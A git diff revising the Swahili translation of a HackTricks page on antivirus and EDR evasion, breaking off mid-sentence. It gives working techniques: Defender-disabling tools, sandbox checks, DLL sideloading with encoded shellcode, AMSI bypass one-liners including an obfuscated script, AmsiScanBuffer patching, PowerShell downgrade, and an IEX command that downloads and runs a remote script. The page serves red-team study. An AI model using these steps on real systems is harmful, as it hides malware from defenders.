diff --git a/src/windows-hardening/av-bypass.md b/src/windows-hardening/av-bypass.md index a976abac2..679f6b5e3 100644 --- a/src/windows-hardening/av-bypass.md +++ b/src/windows-hardening/av-bypass.md @@ -2,94 +2,94 @@ {{#include ../banners/hacktricks-training.md}} -**Ukurasa huu umeandikwa na** [**@m2rc_p**](https://twitter.com/m2rc_p)**!** +**Ukurasa huu uliandikwa na** [**@m2rc_p**](https://twitter.com/m2rc_p)**!** -## Stop Defender +## Kuzima Defender -- [defendnot](https://github.com/es3n1n/defendnot): Zana ya kuzuia Windows Defender isifanye kazi. -- [no-defender](https://github.com/es3n1n/no-defender): Zana ya kuzuia Windows Defender isifanye kazi kwa kudanganya AV nyingine. +- [defendnot](https://github.com/es3n1n/defendnot): Zana ya kuzima Windows Defender. +- [no-defender](https://github.com/es3n1n/no-defender): Zana ya kuzima Windows Defender kwa kudanganya AV nyingine. - [Disable Defender if you are admin](basic-powershell-for-pentesters/README.md) ## **AV Evasion Methodology** -Kwa sasa, AV hutumia mbinu tofauti za kuangalia kama faili ni hatari au la, ugunduzi wa statiki, uchambuzi wa dinamik, na kwa EDRs za hali ya juu, uchambuzi wa tabia. +Kwa sasa, AVs hutumia mbinu tofauti za kukagua kama faili ni hatari au la: static detection, dynamic analysis, na kwa EDR zilizo juu zaidi, behavioural analysis. ### **Static detection** -Ugunduzi wa statiki unapatikana kwa kuweka alama kwenye nyuzi au safu za bytes zinazojulikana kuwa hatari katika binary au script, na pia kutoa taarifa kutoka kwa faili yenyewe (mfano: maelezo ya faili, jina la kampuni, saini za kidijitali, ikoni, checksum, n.k.). Hii inamaanisha kuwa kutumia zana za umma zinazojulikana kunaweza kukufanya ukamatwe kwa urahisi zaidi, kwani huenda zimechambuliwa na kuwekwa alama kama hatari. Kuna njia kadhaa za kuzunguka aina hii ya ugunduzi: +Ugunduzi wa static hufanyika kwa kuweka alama nyaya zinazoeleweka au safu za bytes ndani ya binary au script, na pia kwa kutoa taarifa kutoka kwa faili yenyewe (mfano: maelezo ya faili, jina la kampuni, digital signatures, ikoni, checksum, n.k.). Hii inamaanisha kwamba kutumia zana za umma zinazojulikana kunaweza kukufanya uonekane haraka zaidi, kwani huenda zimechunguzwa na kuwekwa alama kama hatari. Kuna njia kadhaa za kuepuka aina hii ya ugunduzi: - **Encryption** -Ikiwa unashughulikia binary, hakutakuwa na njia ya AV kugundua programu yako, lakini utahitaji aina fulani ya loader ili kufungua na kuendesha programu hiyo kwenye kumbukumbu. +Ikiwa utachoma binary, hakuna njia kwa AV kugundua programu yako, lakini utahitaji aina fulani ya loader ili kuifungua na kuendesha programu hiyo kwa memory. - **Obfuscation** -Wakati mwingine unachohitaji kufanya ni kubadilisha nyuzi fulani katika binary yako au script ili kuipita AV, lakini hii inaweza kuwa kazi inayochukua muda kulingana na kile unachojaribu kuficha. +Wakati mwingine yote unayohitaji ni kubadilisha baadhi ya strings katika binary au script yako ili ipite kwa AV, lakini hii inaweza kuwa kazi inayoendelea kulingana na unachojaribu kuficha. - **Custom tooling** -Ikiwa unaunda zana zako mwenyewe, hakutakuwa na saini mbaya zinazojulikana, lakini hii inachukua muda na juhudi nyingi. +Ikiwa utatengeneza zana zako mwenyewe, hakuna signatures zinazojulikana za uharibifu, lakini hii inachukua muda mwingi na juhudi. > [!TIP] -> Njia nzuri ya kuangalia dhidi ya ugunduzi wa statiki wa Windows Defender ni [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck). Kimsingi inagawanya faili katika sehemu nyingi kisha inamwambia Defender kuchanganua kila moja kwa moja, kwa njia hii, inaweza kukuambia ni zipi nyuzi au bytes zilizowekwa alama katika binary yako. +> Njia nzuri ya kukagua dhidi ya static detection ya Windows Defender ni [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck). Inagawa faili katika vipande vingi kisha inaagiza Defender iskanie kila kipande kivyake; kwa njia hii inaweza kukuonyesha hasa ni strings au bytes gani zilizowekwa alama katika binary yako. Ninapendekeza uangalie hii [YouTube playlist](https://www.youtube.com/playlist?list=PLj05gPj8rk_pkb12mDe4PgYZ5qPxhGKGf) kuhusu AV Evasion ya vitendo. ### **Dynamic analysis** -Uchambuzi wa dinamik ni wakati AV inakimbia binary yako kwenye sandbox na kuangalia shughuli hatari (mfano: kujaribu kufungua na kusoma nywila za kivinjari chako, kufanya minidump kwenye LSASS, n.k.). Sehemu hii inaweza kuwa ngumu zaidi kufanya kazi nayo, lakini hapa kuna mambo kadhaa unayoweza kufanya ili kuzuia sandboxes. +Dynamic analysis ni pale ambapo AV inaendesha binary yako katika sandbox na inatazama shughuli hatarishi (mfano: kujaribu kuifungua na kusoma nywila za kivinjari, kufanya minidump kwenye LSASS, n.k.). Sehemu hii inaweza kuwa ngumu kidogo kufanya kazi nayo, lakini hapa kuna mambo unaweza kufanya ili kuepuka sandboxes. -- **Sleep before execution** Kutegemea jinsi ilivyotekelezwa, inaweza kuwa njia nzuri ya kuzunguka uchambuzi wa dinamik wa AV. AV zina muda mfupi sana wa kuchanganua faili ili zisihusishe na mtumiaji, hivyo kutumia usingizi mrefu kunaweza kuingilia uchambuzi wa binaries. Tatizo ni kwamba sandboxes nyingi za AV zinaweza tu kupuuzia usingizi kulingana na jinsi ilivyotekelezwa. -- **Checking machine's resources** Kawaida Sandboxes zina rasilimali chache sana za kufanya kazi (mfano: < 2GB RAM), vinginevyo zinaweza kuharibu mashine ya mtumiaji. Unaweza pia kuwa mbunifu sana hapa, kwa mfano kwa kuangalia joto la CPU au hata kasi za mashabiki, si kila kitu kitawekwa kwenye sandbox. -- **Machine-specific checks** Ikiwa unataka kulenga mtumiaji ambaye workstation yake imeunganishwa kwenye eneo la "contoso.local", unaweza kufanya ukaguzi kwenye eneo la kompyuta ili kuona kama linalingana na lile ulilosema, ikiwa halilingani, unaweza kufanya programu yako itoke. +- **Sleep before execution** Kulingana na jinsi ilivyotekelezwa, inaweza kuwa njia nzuri ya kuipita dynamic analysis ya AV. AVs zina muda mfupi mno wa kuchunguza faili ili zisuvie mtiririko wa kazi wa mtumiaji, hivyo kutumia sleep ndefu kunaweza kuingilia uchambuzi wa binaries. Tatizo ni kwamba sandboxes za AV nyingi zinaweza kuruka sleep kulingana na jinsi ilivyotekelezwa. +- **Checking machine's resources** Kawaida Sandboxes zina rasilimali chache (mfano: < 2GB RAM), vinginevyo zinaweza kupunguza kasi ya mashine ya mtumiaji. Unaweza pia kuwa mbunifu hapa, kwa mfano kwa kukagua joto la CPU au hata kasi za fan; si kila kitu kitatekelezwa ndani ya sandbox. +- **Machine-specific checks** Ikiwa unataka kumlenga mtumiaji ambaye workstation yake imejiunga na domain "contoso.local", unaweza kufanya ukaguzi wa domain ya kompyuta kuona kama inalingana na ule ulioweka; ikiwa haifanani, unaweza kufanya programu yako itoke. -Inageuka kuwa jina la kompyuta la Microsoft Defender's Sandbox ni HAL9TH, hivyo, unaweza kuangalia jina la kompyuta katika malware yako kabla ya kulipuka, ikiwa jina linalingana na HAL9TH, inamaanisha uko ndani ya sandbox ya defender, hivyo unaweza kufanya programu yako itoke. +Inajulikana kwamba Sandbox ya Microsoft Defender ina computername HAL9TH, hivyo unaweza kukagua jina la kompyuta katika malware yako kabla ya detonation; ikiwa jina linaendana na HAL9TH, ina maana uko ndani ya sandbox ya defender, hivyo unaweza kufanya programu yako itohe.

chanzo: https://youtu.be/StSLxFbVz0M?t=1439

-Vidokezo vingine vizuri kutoka [@mgeeky](https://twitter.com/mariuszbit) kwa kupambana na Sandboxes +Mishauri mingine mizuri kutoka kwa [@mgeeky](https://twitter.com/mariuszbit) kwa kupigana na Sandboxes

Red Team VX Discord #malware-dev channel

-Kama tulivyosema hapo awali katika chapisho hili, **zTools za umma** hatimaye **zitagundulika**, hivyo, unapaswa kujiuliza kitu: +Kama tulivyosema hapo awali, **public tools** hatimaye zitakuwa **zimegunduliwa**, hivyo unapaswa kujitathmini: -Kwa mfano, ikiwa unataka kudump LSASS, **je, unahitaji kweli kutumia mimikatz**? Au unaweza kutumia mradi mwingine ambao haujulikani sana na pia unadump LSASS. +Kwa mfano, ikiwa unataka dump LSASS, **je, unahitaji kweli kutumia mimikatz**? Au unaweza kutumia mradi tofauti usiojulikana sana ambao pia unadump LSASS. -Jibu sahihi labda ni la pili. Kuchukua mimikatz kama mfano, huenda ni moja ya, ikiwa si kipande cha malware kinachowekwa alama zaidi na AVs na EDRs, wakati mradi wenyewe ni mzuri sana, pia ni ndoto mbaya kufanya kazi nayo ili kuzunguka AVs, hivyo angalia tu mbadala kwa kile unachojaribu kufikia. +Jibu sahihi pengine ni hili la mwisho. Kwa mfano mimikatz ni moja ya, kama sio zaidi, vipande vya programu vinavyowekwa alama na AVs na EDRs, mradi huo ni mzuri sana, lakini pia ni kichawi kujaribu kuzunguka AVs ukitumia, hivyo tafuta mbadala kwa kile unachotaka kufanikisha. > [!TIP] -> Unapobadilisha payloads zako kwa ajili ya kuzuia, hakikisha **unazima uwasilishaji wa sampuli kiotomatiki** katika defender, na tafadhali, kwa kweli, **USIWEKE KATIKA VIRUSTOTAL** ikiwa lengo lako ni kufikia kuzuia kwa muda mrefu. Ikiwa unataka kuangalia kama payload yako inagundulika na AV fulani, i-install kwenye VM, jaribu kuzima uwasilishaji wa sampuli kiotomatiki, na uijaribu huko hadi uridhike na matokeo. +> Unapobadilisha payloads zako kwa ajili ya evasion, hakikisha kuwa **imezimwa automatic sample submission** katika Defender, na tafadhali, kwa uzito, **USIPANUA KWA VIRUSTOTAL** ikiwa lengo lako ni kufikia evasion kwa muda mrefu. Ikiwa unataka kukagua kama payload yako inagunduliwa na AV fulani, isnstall AV hiyo kwenye VM, jaribu kuzima automatic sample submission, na ujaribu huko hadi uridhike na matokeo. ## EXEs vs DLLs -Kila wakati inapowezekana, daima **kipa kipaumbele kutumia DLLs kwa ajili ya kuzuia**, katika uzoefu wangu, faili za DLL kwa kawaida **huzuiliwa kidogo** na kuchambuliwa, hivyo ni hila rahisi sana kutumia ili kuepuka kugundulika katika baadhi ya matukio (ikiwa payload yako ina njia fulani ya kuendesha kama DLL bila shaka). +Pale inapowezekana, kila mara **pendelea kutumia DLLs kwa ajili ya evasion**, kwa uzoefu wangu, faili za DLL kwa kawaida huwa **zinagunduliwa kidogo zaidi** na kuchambuliwa, hivyo ni trick rahisi kutumia ili kuepuka ugunduzi katika baadhi ya kesi (ikiwa payload yako ina njia ya kuendeshwa kama DLL bila shaka). -Kama tunavyoona katika picha hii, Payload ya DLL kutoka Havoc ina kiwango cha kugundulika cha 4/26 katika antiscan.me, wakati payload ya EXE ina kiwango cha kugundulika cha 7/26. +Kama tunaona katika picha hii, DLL Payload kutoka Havoc ina detection rate ya 4/26 kwenye antiscan.me, wakati EXE payload ina 7/26 detection rate. -

antiscan.me kulinganisha payload ya kawaida ya Havoc EXE dhidi ya payload ya kawaida ya Havoc DLL

+

antiscan.me comparison of a normal Havoc EXE payload vs a normal Havoc DLL

-Sasa tutakuonyesha hila kadhaa unazoweza kutumia na faili za DLL ili kuwa na ufanisi zaidi. +Sasa tutaonyesha tricks unaweza kutumia na faili za DLL ili uwe mfnye zaidi. ## DLL Sideloading & Proxying -**DLL Sideloading** inatumia faida ya mpangilio wa utafutaji wa DLL unaotumiwa na loader kwa kuweka programu ya mwathirika na payload hatari pamoja. +**DLL Sideloading** inatumia search order ya DLL inayotumiwa na loader kwa kuweka programu ya mgeni na payload(s) ya uharibifu kando kwa kando. -Unaweza kuangalia programu zinazoweza kuathirika na DLL Sideloading kwa kutumia [Siofra](https://github.com/Cybereason/siofra) na script ifuatayo ya powershell: +Unaweza kukagua programu zinazoweza kuathirika na DLL Sideloading kutumia [Siofra](https://github.com/Cybereason/siofra) na script ya powershell ifuatayo: ```bash Get-ChildItem -Path "C:\Program Files\" -Filter *.exe -Recurse -File -Name| ForEach-Object { $binarytoCheck = "C:\Program Files\" + $_ C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hijack -f $binarytoCheck } ``` -Amri hii itatoa orodha ya programu zinazoweza kuathiriwa na DLL hijacking ndani ya "C:\Program Files\\" na faili za DLL ambazo wanajaribu kupakia. +Amri hii itaonyesha orodha ya programu zinazoweza kuathiriwa na DLL hijacking ndani ya "C:\Program Files\\" na faili za DLL wanazojaribu kupakia. -Ninapendekeza sana **uchunguze programu zinazoweza kuathiriwa na DLL Hijackable/Sideloadable mwenyewe**, mbinu hii ni ya siri sana ikiwa itafanywa vizuri, lakini ikiwa utatumia programu zinazojulikana za DLL Sideloadable, unaweza kukamatwa kwa urahisi. +Ninapendekeza sana ufanye mwenyewe **explore DLL Hijackable/Sideloadable programs yourself**, mbinu hii ni ya kimya kabisa inapofanywa vizuri, lakini ukitumia programu za umma zinazojulikana za DLL Sideloadable, unaweza kukamatwa kwa urahisi. -Kuweka tu DLL mbaya yenye jina ambalo programu inatarajia kupakia, haitapakia mzigo wako, kwani programu inatarajia kazi maalum ndani ya DLL hiyo, ili kutatua tatizo hili, tutatumia mbinu nyingine inayoitwa **DLL Proxying/Forwarding**. +Kwa kuweka tu malicious DLL yenye jina ambalo programu inatarajia kupakia, haitapakia payload yako, kwa sababu programu inatarajia baadhi ya functions maalum ndani ya DLL hiyo; ili kurekebisha tatizo hili, tutatumia mbinu nyingine inayoitwa **DLL Proxying/Forwarding**. -**DLL Proxying** inasambaza simu ambazo programu inafanya kutoka kwa proxy (na mbaya) DLL hadi DLL asilia, hivyo kuhifadhi kazi ya programu na kuwa na uwezo wa kushughulikia utekelezaji wa mzigo wako. +**DLL Proxying** husafirisha miito ambayo programu inafanya kutoka kwa proxy (na malicious) DLL kwenda kwa DLL ya asili, hivyo ikihifadhi utendaji wa programu na kuwezesha kushughulikia utekelezwaji wa payload yako. -Nitakuwa nikitumia mradi wa [SharpDLLProxy](https://github.com/Flangvik/SharpDllProxy) kutoka [@flangvik](https://twitter.com/Flangvik/) +Nitakuwa nikitumia mradi [SharpDLLProxy](https://github.com/Flangvik/SharpDllProxy) kutoka kwa [@flangvik](https://twitter.com/Flangvik/) Hizi ndizo hatua nilizofuata: ``` @@ -98,26 +98,26 @@ Hizi ndizo hatua nilizofuata: 3. (Optional) Encode your shellcode using Shikata Ga Nai (https://github.com/EgeBalci/sgn) 4. Use SharpDLLProxy to create the proxy dll (.\SharpDllProxy.exe --dll .\mimeTools.dll --payload .\demon.bin) ``` -Amri ya mwisho itatupa faili 2: kiolezo cha msimbo wa chanzo cha DLL, na DLL iliyobadilishwa jina asilia. +Amri ya mwisho itatupatia faili 2: kiolezo cha msimbo wa chanzo cha DLL, na DLL ya asili iliyobadilishwa jina.
``` 5. Create a new visual studio project (C++ DLL), paste the code generated by SharpDLLProxy (Under output_dllname/dllname_pragma.c) and compile. Now you should have a proxy dll which will load the shellcode you've specified and also forward any calls to the original DLL. ``` -Hizi ndizo matokeo: +Haya ndiyo matokeo:
-Mbili zetu shellcode (iliyopangwa na [SGN](https://github.com/EgeBalci/sgn)) na proxy DLL zina kiwango cha Ugunduzi cha 0/26 katika [antiscan.me](https://antiscan.me)! Ningesema hiyo ni mafanikio. +Kila shellcode yetu (imekodishwa na [SGN](https://github.com/EgeBalci/sgn)) na proxy DLL zina kiwango cha kugundua 0/26 kwenye [antiscan.me](https://antiscan.me)! Ningeita hiyo mafanikio.
> [!TIP] -> Ninapendekeza **sana** uangalie [S3cur3Th1sSh1t's twitch VOD](https://www.twitch.tv/videos/1644171543) kuhusu DLL Sideloading na pia [video ya ippsec](https://www.youtube.com/watch?v=3eROsG_WNpE) ili kujifunza zaidi kuhusu kile tulichozungumzia kwa undani zaidi. +> Ninapendekeza **kwa nguvu** uangalie [S3cur3Th1sSh1t's twitch VOD](https://www.twitch.tv/videos/1644171543) kuhusu DLL Sideloading na pia [ippsec's video](https://www.youtube.com/watch?v=3eROsG_WNpE) ili ujifunze zaidi kuhusu tulichojadili kwa undani. ## [**Freeze**](https://github.com/optiv/Freeze) -`Freeze ni toolkit ya payload kwa ajili ya kupita EDRs kwa kutumia michakato iliyosimamishwa, syscalls za moja kwa moja, na mbinu mbadala za utekelezaji` +`Freeze is a payload toolkit for bypassing EDRs using suspended processes, direct syscalls, and alternative execution methods` Unaweza kutumia Freeze kupakia na kutekeleza shellcode yako kwa njia ya siri. ``` @@ -129,53 +129,53 @@ Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freez
> [!TIP] -> Evasion ni mchezo wa paka na panya, kile kinachofanya kazi leo kinaweza kugundulika kesho, hivyo usitegemee zana moja tu, ikiwa inawezekana, jaribu kuunganisha mbinu kadhaa za kuepuka. +> Kuepuka kugunduliwa ni mchezo wa paka na panya; kinachofanya kazi leo kinaweza kugunduliwa kesho, kwa hivyo usitegemee zana moja tu; endapo inawezekana, jaribu kuunganisha mbinu kadhaa za kuepuka kugunduliwa. -## AMSI (Msingi wa Skanning wa Anti-Malware) +## AMSI (Anti-Malware Scan Interface) -AMSI ilianzishwa ili kuzuia "[malware isiyo na faili](https://en.wikipedia.org/wiki/Fileless_malware)". Awali, AVs zilikuwa na uwezo wa kuskan **faili kwenye diski**, hivyo ikiwa ungeweza kwa namna fulani kutekeleza payloads **moja kwa moja katika kumbukumbu**, AV haingeweza kufanya chochote kuzuia hilo, kwani haikuwa na mwonekano wa kutosha. +AMSI ilaundwa kuzuia "[fileless malware](https://en.wikipedia.org/wiki/Fileless_malware)". Mwanzoni, AV zilikuwa zinaweza tu kutazama **files on disk**, hivyo ikiwa ungeweza kutekeleza payloads **directly in-memory**, AV haingeweza kufanya chochote kuzuia, kwa sababu haikuwa na uwezo wa kuona vya kutosha. -Kipengele cha AMSI kimejumuishwa katika sehemu hizi za Windows. +Sehemu ya AMSI imeingizwa ndani ya vipengele hivi vya Windows. -- Udhibiti wa Akaunti ya Mtumiaji, au UAC (kuinua EXE, COM, MSI, au usakinishaji wa ActiveX) -- PowerShell (scripts, matumizi ya mwingiliano, na tathmini ya msimbo wa dynamic) -- Windows Script Host (wscript.exe na cscript.exe) -- JavaScript na VBScript +- User Account Control, or UAC (elevation of EXE, COM, MSI, or ActiveX installation) +- PowerShell (scripts, interactive use, and dynamic code evaluation) +- Windows Script Host (wscript.exe and cscript.exe) +- JavaScript and VBScript - Office VBA macros -Inaruhusu suluhisho za antivirus kuchunguza tabia ya script kwa kufichua maudhui ya script katika mfumo ambao haujaandikwa na haujawekwa wazi. +Inaruhusu suluhisho za antivirus kuchambua tabia za script kwa kufichua yaliyomo ya script katika fomati isiyo encrypted na isiyofichwa. -Kukimbia `IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')` kutazalisha onyo lifuatalo kwenye Windows Defender. +Kukimbisha `IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')` kutaonekana kutoa onyo lifuatalo kwenye Windows Defender.
-Tazama jinsi inavyopachika `amsi:` na kisha njia ya executable ambayo script ilikimbia, katika kesi hii, powershell.exe +Angalia jinsi linavyoanza na `amsi:` na kisha njia ya executable ambayo script ilikimbizwa kutoka, katika kesi hii, powershell.exe -Hatukuacha faili yoyote kwenye diski, lakini bado tulikamatwa katika kumbukumbu kwa sababu ya AMSI. +Hatukuweka faili yoyote kwenye disk, lakini bado tulikamatwa in-memory kwa sababu ya AMSI. -Zaidi ya hayo, kuanzia na **.NET 4.8**, msimbo wa C# unakimbizwa kupitia AMSI pia. Hii inathiri hata `Assembly.Load(byte[])` ili kupakia utekelezaji wa ndani. Ndio maana kutumia toleo la chini la .NET (kama 4.7.2 au chini) inapendekezwa kwa utekelezaji wa ndani ikiwa unataka kuepuka AMSI. +Zaidi ya hayo, kuanzia .NET 4.8, C# code pia inapatikana kupitia AMSI. Hii hata inaathiri `Assembly.Load(byte[])` kwa load in-memory execution. Ndiyo sababu inashauriwa kutumia matoleo ya chini ya .NET (kama 4.7.2 au chini) kwa execution in-memory ikiwa unataka kuepuka AMSI. Kuna njia kadhaa za kuzunguka AMSI: - **Obfuscation** -Kwa kuwa AMSI inafanya kazi hasa na kugundua kwa statiki, hivyo, kubadilisha scripts unazojaribu kupakia inaweza kuwa njia nzuri ya kuepuka kugunduliwa. +Kwa kuwa AMSI kwa ujumla hufanya kazi kwa detections za static, hivyo, kubadilisha scripts unazojaribu kuzipakia inaweza kuwa njia nzuri ya kuepuka detection. -Hata hivyo, AMSI ina uwezo wa kufichua scripts hata ikiwa ina tabaka kadhaa, hivyo obfuscation inaweza kuwa chaguo mbaya kulingana na jinsi inavyofanywa. Hii inafanya kuwa si rahisi kuepuka. Ingawa, wakati mwingine, unachohitaji kufanya ni kubadilisha majina kadhaa ya mabadiliko na utakuwa sawa, hivyo inategemea ni kiasi gani kitu kimewekwa alama. +Hata hivyo, AMSI ina uwezo wa kuondoa obfuscation hata kama kuna safu nyingi, hivyo obfuscation inaweza kuwa chaguo mbaya kulingana na jinsi inavyofanywa. Hii inafanya iwe si rahisi kuepuka. Ingawa, wakati mwingine, yote unayohitaji kufanya ni kubadilisha couple ya variable names na utakuwa sawa, hivyo inategemea ni kiasi gani kitu kimeonekana kuwa hatari. - **AMSI Bypass** -Kwa kuwa AMSI inatekelezwa kwa kupakia DLL katika mchakato wa powershell (pia cscript.exe, wscript.exe, nk), inawezekana kuingilia kati kwa urahisi hata ukiwa mtumiaji asiye na mamlaka. Kutokana na kasoro hii katika utekelezaji wa AMSI, watafiti wamegundua njia kadhaa za kuepuka skanning ya AMSI. +Kwa kuwa AMSI imefanywa kwa kupakia DLL ndani ya mchakato wa powershell (pia cscript.exe, wscript.exe, n.k.), inawezekana kuibadilisha kwa urahisi hata ukiwa kama mtumiaji asiye na mamlaka (unprivileged). Kutokana na kasoro hii katika utekelezaji wa AMSI, watafiti wamegundua njia nyingi za kuepuka AMSI scanning. -**Kulazimisha Kosa** +**Forcing an Error** -Kulazimisha kuanzishwa kwa AMSI kufeli (amsiInitFailed) kutasababisha kwamba hakuna skanning itakayofanywa kwa mchakato wa sasa. Awali hii ilifunuliwa na [Matt Graeber](https://twitter.com/mattifestation) na Microsoft imeunda saini ili kuzuia matumizi makubwa. +Kusababisha AMSI initialization kushindwa (amsiInitFailed) kutasababisha hakuna scan itakayozinduliwa kwa mchakato wa sasa. Hii awali ilifichuliwa na [Matt Graeber](https://twitter.com/mattifestation) na Microsoft imeunda signature ili kuzuia matumizi mapana. ```bash [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true) ``` -Ilichukua tu mstari mmoja wa msimbo wa powershell kufanya AMSI isitumike kwa mchakato wa sasa wa powershell. Mstari huu umewekwa alama na AMSI yenyewe, hivyo mabadiliko fulani yanahitajika ili kutumia mbinu hii. +Ilichukua tu mstari mmoja wa msimbo wa powershell kufanya AMSI isiweze kutumika kwa mchakato wa powershell wa sasa. Mstari huu, bila shaka, umewekwa alama na AMSI yenyewe, hivyo marekebisho fulani yanahitajika ili kutumia mbinu hii. -Hapa kuna AMSI bypass iliyobadilishwa niliyopata kutoka kwa hii [Github Gist](https://gist.github.com/r00t-3xp10it/a0c6a368769eec3d3255d4814802b5db). +Hapa kuna AMSI bypass iliyorekebishwa niliyopata kutoka kwenye [Github Gist](https://gist.github.com/r00t-3xp10it/a0c6a368769eec3d3255d4814802b5db). ```bash Try{#Ams1 bypass technic nº 2 $Xdatabase = 'Utils';$Homedrive = 'si' @@ -189,118 +189,119 @@ $Spotfix = $SDcleanup.GetField($Rawdata,"$ComponentDeviceId,Static") $Spotfix.SetValue($null,$true) }Catch{Throw $_} ``` -Kumbuka, kwamba hii itakuwa na uwezekano wa kuangaziwa mara tu chapisho hili litakapochapishwa, hivyo usichapishe msimbo ikiwa mpango wako ni kubaki bila kugundulika. +Kumbuka, hili labda litawekwa alama mara chapisho hili litakapotangazwa, hivyo usichapishe msimbo ikiwa unakusudia kubaki bila kugunduliwa. **Memory Patching** -Teknolojia hii iligunduliwa awali na [@RastaMouse](https://twitter.com/_RastaMouse/) na inahusisha kutafuta anwani ya kazi "AmsiScanBuffer" katika amsi.dll (inayohusika na kusafisha ingizo lililotolewa na mtumiaji) na kuandika tena na maagizo ya kurudisha msimbo wa E_INVALIDARG, kwa njia hii, matokeo ya kusafisha halisi yatarudisha 0, ambayo inatafsiriwa kama matokeo safi. +Mbinu hii iligunduliwa awali na [@RastaMouse](https://twitter.com/_RastaMouse/) na inahusisha kupata anwani ya kazi "AmsiScanBuffer" katika amsi.dll (inayehusika na kuchunguza ingizo lililotolewa na mtumiaji) na kuibadilisha kwa maagizo ya kurudisha msimbo wa E_INVALIDARG; kwa njia hii, matokeo ya skanu halisi yatarudisha 0, jambo linalotafsiriwa kama matokeo safi. > [!TIP] -> Tafadhali soma [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) kwa maelezo zaidi. +> Tafadhali soma [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) kwa maelezo ya kina zaidi. -Pia kuna mbinu nyingi nyingine zinazotumika kupita AMSI kwa kutumia powershell, angalia [**hii ukurasa**](basic-powershell-for-pentesters/index.html#amsi-bypass) na [**hii repo**](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) kujifunza zaidi kuhusu hizo. +Kuna mbinu nyingi nyingine pia zinazotumiwa kupita AMSI kwa PowerShell, angalia [**this page**](basic-powershell-for-pentesters/index.html#amsi-bypass) na [**this repo**](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) kujifunza zaidi kuhusu hizo. -Zana hii [**https://github.com/Flangvik/AMSI.fail**](https://github.com/Flangvik/AMSI.fail) pia inazalisha skripti za kupita AMSI. +Zana hii [**https://github.com/Flangvik/AMSI.fail**](https://github.com/Flangvik/AMSI.fail) pia inazalisha script za kupitisha AMSI. -**Ondoa saini iliyogundulika** +**Remove the detected signature** -Unaweza kutumia zana kama **[https://github.com/cobbr/PSAmsi](https://github.com/cobbr/PSAmsi)** na **[https://github.com/RythmStick/AMSITrigger](https://github.com/RythmStick/AMSITrigger)** kuondoa saini ya AMSI iliyogundulika kutoka kwenye kumbukumbu ya mchakato wa sasa. Zana hii inafanya kazi kwa kusafisha kumbukumbu ya mchakato wa sasa kwa saini ya AMSI na kisha kuandika tena na maagizo ya NOP, kwa ufanisi kuondoa kutoka kwenye kumbukumbu. +Unaweza kutumia zana kama **[https://github.com/cobbr/PSAmsi](https://github.com/cobbr/PSAmsi)** na **[https://github.com/RythmStick/AMSITrigger](https://github.com/RythmStick/AMSITrigger)** kuondoa saini ya AMSI iliyotambuliwa kutoka kwenye kumbukumbu ya mchakato wa sasa. Zana hizi zinafanya kazi kwa kuchambua kumbukumbu ya mchakato wa sasa kwa ajili ya saini ya AMSI kisha kuandika juu yake maagizo ya NOP, kwa ufanisi kuiondoa kwenye kumbukumbu. -**AV/EDR bidhaa zinazotumia AMSI** +**AV/EDR products that uses AMSI** Unaweza kupata orodha ya bidhaa za AV/EDR zinazotumia AMSI katika **[https://github.com/subat0mik/whoamsi](https://github.com/subat0mik/whoamsi)**. -**Tumia toleo la Powershell 2** -Ikiwa unatumia toleo la PowerShell 2, AMSI haitapakiwa, hivyo unaweza kuendesha skripti zako bila kusafishwa na AMSI. Unaweza kufanya hivi: +**Tumia PowerShell toleo 2** +Iwapo utatumia PowerShell toleo 2, AMSI haitapakiwa, hivyo unaweza kuendesha script zako bila kukaguliwa na AMSI. Unaweza kufanya hivi: ```bash powershell.exe -version 2 ``` -## PS Logging +## Uandishi wa PowerShell -PowerShell logging ni kipengele kinachokuwezesha kurekodi amri zote za PowerShell zinazotekelezwa kwenye mfumo. Hii inaweza kuwa na manufaa kwa ajili ya ukaguzi na kutatua matatizo, lakini pia inaweza kuwa **tatizo kwa washambuliaji wanaotaka kuepuka kugundulika**. +PowerShell logging ni kipengele kinachokuruhusu kurekodi amri zote za PowerShell zinazotekelezwa kwenye mfumo. Hili linaweza kuwa muhimu kwa ukaguzi na utatuzi wa matatizo, lakini pia linaweza kuwa tatizo kwa washambulizi wanaotaka kuepuka kugunduliwa. -Ili kupita PowerShell logging, unaweza kutumia mbinu zifuatazo: +Ili kuvuka PowerShell logging, unaweza kutumia mbinu zifuatazo: -- **Zima PowerShell Transcription na Module Logging**: Unaweza kutumia chombo kama [https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs](https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs) kwa ajili ya hili. -- **Tumia PowerShell toleo la 2**: Ikiwa unatumia PowerShell toleo la 2, AMSI haitapakiwa, hivyo unaweza kuendesha skripti zako bila kuskanwa na AMSI. Unaweza kufanya hivi: `powershell.exe -version 2` -- **Tumia Sehemu ya PowerShell Isiyo na Usimamizi**: Tumia [https://github.com/leechristensen/UnmanagedPowerShell](https://github.com/leechristensen/UnmanagedPowerShell) kuanzisha PowerShell bila ulinzi (hii ndiyo inayo tumika na `powerpick` kutoka Cobalt Strike). +- **Zima PowerShell Transcription na Module Logging**: Unaweza kutumia zana kama [https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs](https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs) kwa ajili ya hili. +- **Tumia PowerShell version 2**: Ikiwa utatumia PowerShell version 2, AMSI haitapakiwa, kwa hivyo unaweza kuendesha skiripti zako bila kuchunguzwa na AMSI. Unaweza kufanya hivi: `powershell.exe -version 2` +- **Tumia Unmanaged Powershell Session**: Tumia [https://github.com/leechristensen/UnmanagedPowerShell](https://github.com/leechristensen/UnmanagedPowerShell) kuanzisha PowerShell bila kinga (hivi ndicho `powerpick` 